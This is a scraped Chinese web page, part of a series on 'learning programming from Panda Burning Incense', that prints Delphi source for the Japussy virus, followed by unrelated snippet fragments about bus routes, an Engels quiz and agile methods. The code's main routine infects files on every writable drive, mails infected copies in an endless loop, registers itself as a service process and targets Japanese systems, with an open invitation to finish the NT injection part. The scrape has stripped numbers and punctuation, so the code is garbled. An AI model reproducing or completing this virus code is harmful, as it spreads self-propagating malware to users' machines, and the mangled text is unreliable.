知识大全 从“熊猫烧香”中学程序[5]
Posted 宿主
篇首语:博观而约取,厚积而薄发。本文由小常识网(cha138.com)小编为大家整理,主要介绍了知识大全 从“熊猫烧香”中学程序[5]相关的知识,希望对你有一定的参考价值。
procedure InfectFiles; var DriverList: string; i Len: Integer; begin if GetACP = then //日文操作系统 IsJap := True; //去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环 begin for i := Len downto do //遍历每个磁盘驱动器 LoopFiles(DriverList[i] + : * * ); //感染之 SendMail; //发带毒邮件 Sleep( * * ); //睡眠 分钟 end; end; 主程序开始 begin if IsWin x then //是Win x RegisterServiceProcess(GetCurrentProcessID ) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr( )) Japussy exe ) = then InfectFiles //感染和发邮件 else //已寄生于宿主程序上了 开始工作 begin TmpFile := ParamStr( ); //创建临时文件 Delete(TmpFile Length(TmpFile) ); TmpFile := TmpFile + # + exe ; //真正的宿主文件 多一个空格 ExtractFile(TmpFile); //分离之 FillStartupInfo(Si SW_SHOWDEFAULT); CreateProcess(PChar(TmpFile) PChar(TmpFile) nil nil True nil Si Pi); //创建新进程运行之 InfectFiles; //感染和发邮件 end; end cha138/Article/program/Delphi/201311/8477相关参考
procedureFillStartupInfo(varSi:STARTUPINFO;State:Word); begin Sicb:=
end; begin if(FindFirst(Path+MaskfaAnyFileSearchRec)=)then be
本文来自互联网仅供学习和研究使用后果自行负责造成的任何损失与本站无关特此声明 programJapussy; uses WindowsSysUtilsClassesGraphic
Delphi版模仿熊猫烧香病毒核心源码 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一下吧!WordWRA
怎样才能使高中生从游戏中学会学习首先还是要有正确的引导。。。明确你玩游戏的目的是什么找到你玩游戏的目的你自然可以规划你的时间找到学习和游戏的平衡高中生的话在游戏中可以多结交一些年龄比较大的玩家他们会分
从广州人和出口坐哪路公交车到花都青布中学公交线路:715路,全程约7.7公里1、从人和出口(广州机场...步行约1.0公里,到达凤和庄站2、乘坐715路,经过6站,到达清布中学站(也可乘坐701路、花
恩格斯说“伟大的阶级,正如伟大的民族一样,无论从哪方面学习都不如从__中学习来得快。”
恩格斯说“伟大的阶级,正如伟大的民族一样,无论从哪方面学习都不如从_____中学习来得快。”A、自己所犯错误B、自己所取得的成绩C、自己所犯错误的后果D、自己所取得成绩的后果答案:C解析:恩格斯在《英
知识大全 从Reifer的“敏捷方法定量分析”研究中学到的十个知识点
从Reifer的“敏捷方法定量分析”研究中学到的十个知识点 以下文字资料是由(全榜网网www.cha138.com)小编为大家搜集整理后发布的内容,让我们赶快一起来看一
程序控制可从以下方面进行分类: (1)按系统构成方式分类; (2)按程序步转换方式分类; (3)按逻辑控制原理分类; (4)按程序可变性分类; (5)按使用逻辑器件分类。
程序控制可从以下方面进行分类: (1)按系统构成方式分类; (2)按程序步转换方式分类; (3)按逻辑控制原理分类; (4)按程序可变性分类; (5)按使用逻辑器件分类。